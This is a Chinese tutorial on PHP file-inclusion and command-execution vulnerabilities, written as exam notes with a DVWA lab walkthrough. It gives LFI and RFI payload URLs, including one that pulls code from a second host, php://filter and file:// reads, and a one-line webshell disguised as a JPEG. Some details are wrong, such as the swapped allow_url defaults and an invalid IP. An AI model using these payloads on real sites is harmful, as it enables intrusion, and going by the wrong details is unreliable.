代码注入
远程文件包含漏洞
文件包含
了解什么是本地文件包含漏洞

了解本地文件包含漏洞所要用到的函数

掌握本地文件包含漏洞的利用方式

了解 PHP 语言中的封装协议

掌握本地文件包含漏洞的修复方法

什么是文件包含

再通过 PHP 的相应函数 [例如 include()] 引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露,甚至恶意的代码注入。

文件包含漏洞的形成,需要满足两个条件:

用户能够控制文件的内容,(向服务器上传一个新的文件、借用服务器已经存在的文件)

include() 等函数通过动态变量的方式引入需要包含的文件

常用文件包含函数

include():当使用该函数包含文件时,只有代码执行到 include() 函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行。

include_once():功能和 include() 相同,区别在于当重复调用同一文件时,程序只调用一次。

require():require() 与 include() 的区别在于 require() 执行如果发生错误,函数会输出错误信息,并终止脚本的运行。使用 require() 函数包含文件时,只要程序一执行,立即调用文件,而 include() 只有程序执行到该函数时才调用。

require_once:他的功能与 require() 相同,区别在于当重复调用同一文件时,程序只调用一次。

highlight_file():highlight_file(filename,return)----filename:必需要进行高龄处理的 PHP 文件的路径。return:可选。如果设置为 true,则本函数返回高亮处理的代码。

show_source:该函数是 highlight_file() 的别名。

file_get_contents():该函数把整个文件读入一个字符串中,和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。

语法:

file_get_contents(path,include_path.context,start,max_length)

file():file() 把整个文件读入一个数组中,与 file_get_contents() 类似,但是 file() 将文件作为一个数组返回,数组中每个单元都是文件中相应的一行,包括换行符在内,如果失败则返回 false。

语法:

file(path,include_path,context)

fopen():打开一个文件或者 URL。

语法:

fopen(filename,mode,include_path,context)

readfile():输出一个文件,该函数读入一个文件,成功则返回从文件中读入的字节数。若失败,则返回 false。

语法:

readfile(filename,include_path,context)
俩个关键选项
allow_url_iinclude 是否允许引用 URL 文件,激活 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。默认开启

allow_url_fopen 是否允许打开 URL 文件,该选项为 on 则允许包含 URL 对象文件等。默认关闭

这两个选项是 Web 服务器 PHP 的配置选项。了解一下就 ok

本地文件包含 (LFI)

能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。

重要特点:把任何包含进来的文件都当作 PHP 文件来执行

http://172.26.26.259/fileupload/file.php?filename=1.jpg

*都知道 1.jpg是图片,但是当有文件包含漏洞时,这个图片会被当做 php 文件处理,当然前提是它里面有 php 的代码,这样我们就可以先写一个 php 代码的牧马,然后伪装成图片上传,从而达到控制对方的目的。

[1] 句柄最早被翻译成把手,这个翻译比较传神,简单来说就是像门把手一样,你只用握住门把手来开门,而不用可以知道门是什么形状的。

[2] “r”(只读方式打开,将文件指针指向文件头),“r+”(读写方式打开,将文件指针指向文件头),“w”(写入方式打开,清除文件内容,如果文件不存在则尝试创建之),“w+”(读写方式打开,清除文件内容,如果文件不存在则尝试创建之),“a”(写入方式打开,将文件指针指向文件末尾进行写入,如果文件不存在则尝试创建之),“a+”(读写方式打开,通过将文件指针指向文件末尾进行写入来保存文件内容),“x”(创建一个新的文件并以写入方式打开,如果文件已存在则返回 FALSE 和一个错误),“x+”(创建一个新的文件并以读写方式打开,如果文件已存在则返回 FALSE 和一个错误)

远程文件包含
了解什么是远程文件包含漏洞

了解远程文件包含漏洞所用到的函数

掌握远程文件包含漏洞的利用方式

掌握远程文件包含漏洞代码审计方法

掌握修复远程文件包含漏洞的方法

远程文件包含 (RFI)

如果 php.ini 的配置选项 allow_url_include 和 allow_url_fopen 都为 ON 的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行 任意命令。

http://172.26.26.253/fileupload/file.php?filename=http://172.26.26.115/1.txt


1.txt 是文本文件并且他是另一个网站上面的文档,但是当目标服务器的这两个配置选项都开启的时候,他就会把其中的文件当作 php 文件来运行。

文件包含漏洞的危害:

敏感信息泄露

获取 Webshell

任意命令执行

文件包含靶机实验
我们使用 DVWA 的实验环境,首先登陆,账号 admin,密码 password。

进入后,我们将安全级别设置为 low,点击 submit 提交。

再点击 File Inclusion 进入我们的文件包含漏洞环境。

我们的文件包含漏洞的原理是上传的文件会被当做 PHP 文件执行。那么我们写一个一句话牧马执行命令 whoami。

并保存为 1.jpeg 文件

当然如果我们打开桌面的这个 jpeg 图片文件,会什么也没有,这不是一个正常的图片文件,只是一个伪装成 jpeg 文件的 php 代码。


会提示我们文件上传成功!并且告诉了我们文件上传的路径,…/…/hackable/uploads/1.jpeg

我们将其输入到 URL 地址栏中

显示下面这个页面

因为我们的 jpeg 图片代码,并没有正常的图片,只是一段代码。接着我们点击刚刚的文件上传漏洞。

我们要在 url 地址中把我们刚刚上传的文件地址包含进去

回车,我们会发现在页面上部会出现一个信息 apache

这就是刚刚我们刚刚在一句话马中命令执行的结果。至此我们已经完成了文件包含漏洞的简单利用。

PHP 伪协议

PHP 带有很多内置 URL 风格的封装协议,可用于类似 fopen(),copy(),file_exists() 和 filesize() 的文件系统函数。除了这些封装协议,还能通过 stream_wrapper_register() 来注册自定义的封装协议。

file 协议

当存在某个用户可控制,并得以访问执行的输入点时,我们可以尝试输入 file://去获取本地磁盘文件

使用条件:

allow_url_fopen on/off

allow_url_include on/off

使用方法:

http://172.168.1.1/fileupload/file.php?filename=file://C:/windows/system.ini

实验:

我们可以在刚刚的靶机上面进行试验,在 File Inclusion 中,在 URL 栏里直接输入 file:// 来查看密码

当然我们也可以不输入 file:// 直接在 page= 内容后面文件包含一下。也是可以的。

php://filter(重要)

这个伪协议是比较重要的伪协议

对本地磁盘文件进行读写

使用条件:

allow_url_fopen on/off

allow_url_include on/off

使用读取脚本文件:

http://172.16.12.2/fileupload/file.php?filename=php://filter/read/convert.base64-encode/resource=file.php

(或者其他读取文件中含有 php 代码的时候,就要使用 base64 编码转换)

与 file 协议的区别在于

file 协议只能使用绝对路径,filter 协议相对路径和绝对路径都可以使用

剩下的在 PTE 考试中出现的较少我们用一张表格来概括。

命令执行 (重要但简单)
了解什么是命令执行漏洞

了解命令执行漏洞对系统安全产生的危害

掌握脚本语言中可以执行系统命令的函数

了解第三方组件存在的代码指定漏洞,如 struts2

掌握命令注入漏洞的修复方法

日常的网络访问中,我们常常可以看到某些 Web 站具有执行系统命令的功能,例如:有些网站提供 ping 功能。

但如果用户没有遵循网站的本意,而是输入精心构造的指令,可能会对网站本身的功能逻辑产生逆转,导致让目标网站执行恶意命令。

命令执行常用函数
反撇号’’

输出并返回 shell 结果。

用法:

echo’whoami’

System()

system() 输出并返回最后一行 shell 结果

用法:

system(‘whoami’)

passthru()

只调用命令,把命令的运行结果原样地直接输出到标准输出设备上。相同点:都可以获得命令执行的状态码

用法:

passthru(‘whoami’)

eval()

执行 php 代码

用法:

eval(system(‘whoami’)

文件包含与命令执行漏洞详解相关推荐

  1. 通达OA v11.3 以下版本 任意文件上传加文件包含导致命令执行漏洞在线实验环境

    转载自: [通达OA <= v11.3 任意文件上传+文件包含导致命令执行漏洞利用]- https://store.vsplate.com/cn/post/519/ 在线环境地址:https:/ ...

  2. 离线调用linux命令,GitHub - rinetd/linux-command: Linux命令大全搜索工具,内容包含Linux命令手册、详解、学习、搜集。...

    Linux Command 516 个 Linux 命令大全,内容包含 Linux 命令手册.详解.学习,值得收藏的 Linux 命令速查手册.请原谅我写了个爬虫,爬了他们家的数据linuxde.ne ...

  3. 实验楼linux命令,GitHub - encorechow/linux-command: Linux命令大全搜索工具,内容包含Linux命令手册、详解、学习、搜集。...

    Linux Command 516 个 Linux 命令大全,内容包含 Linux 命令手册.详解.学习,值得收藏的 Linux 命令速查手册.请原谅我写了个爬虫,爬了他们家的数据linuxde.ne ...

  4. spark常用的linux命令,GitHub - Sparkinzy/linux-command: Linux命令大全搜索工具,内容包含Linux命令手册、详解、学习、搜集。...

    Linux Command 516 个 Linux 命令大全,内容包含 Linux 命令手册.详解.学习,值得收藏的 Linux 命令速查手册.请原谅我写了个爬虫,爬了他们家的数据linuxde.ne ...

  5. 文件包含和命令注入漏洞

    文件包含和命令注入漏洞 文件包含漏洞 介绍 文件包含漏洞是代码注入的一种.其原理就是注入一段用户能控制的脚本或代码,让服务器端执行,代码注入的典型代表就是文件包含file inclusion.文件包含 ...

  6. RCE代码及命令执行漏洞简解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用 代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代 码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏 洞 ...

  7. 第30天-WEB 漏洞-RCE 代码及命令执行漏洞全解

    在 Web 应用中有时候程序员为了考虑灵活性.简洁性,会在代码调用代码或命令执行函数去处理.比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞.同样 ...

  8. 90.网络安全渗透测试—[常规漏洞挖掘与利用篇6]—[文件包含-PHP封装伪协议详解实战示例]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.文件包含-PHP封装伪协议简介 1.php内置封装协议 2.data://命令执行-伪协议 3.zip:// ...

  9. 跨站脚本执行漏洞详解

    [前言] 本文主要介绍跨站脚本执行漏洞的成因,形式,危害,利用方式,隐藏技巧,解决方法和常 见问题(FAQ),由于目前介绍跨站脚本执行漏洞的资料还不是很多,而且一般也不是很详细 ,所以希望本文能够比较 ...

最新文章

  1. tcpdump移植和使用
  2. 如何画出漂亮的神经网络图?神经网络可视化工具集锦搜集
  3. linux mv命令批量,linux 如何用mv命令批量更改文件名?
  4. 面向对象技术-设计模式的图
  5. ITK:从图像区域中随机选择像素而不进行替换
  6. mfc从文件中读取数据_Java中Transient关键字,一点课堂(多岸学院)
  7. YBTOJ洛谷P2042:维护数列(平衡树)
  8. 构建器设计模式_创新设计模式:构建器模式
  9. 7.TCP/IP 详解卷1 --- Ping 程序
  10. 秒懂C#通过Emit动态生成代码
  11. 油猴管理程序复制百度文库网页内容
  12. java怎么开发app_如何开发一款APP
  13. 一个完整的产品设计都要哪些设计流程
  14. 两个无线路由器dhcp服务器,两个无线路由器怎么桥接
  15. pyqt5 PDM下载工具 Persepolis Download Manager 记录
  16. 通过源码分析Mybatis运行原理
  17. 《医疗器械软件注册指导原则》阅读笔记
  18. 关于设置背景图片的透明度(html+css)
  19. GIT Enter passphrase for key 'xxx': 已解决
  20. JS实现curry(柯里化)的四种简单方式

热门文章

  1. 基于Docker容器的HEXO博客
  2. k8s-存储插件:cfs运行机制
  3. 微信小程序运行机制解析
  4. 燕山大学认知实习报告
  5. 4款令人相见恨晚的APP,个个都是黑科技,后悔没有早点碰到你
  6. 表连接三剑客(嵌套循环连接,哈希连接,排序合并连接)
  7. 单反照片误删找回办法
  8. NB-IOT的数据传输流程和双工模式
  9. 不会编程也文盲?盘点7种免费学习编程的方法开启浏览器javascr
  10. vs code自动格式化代码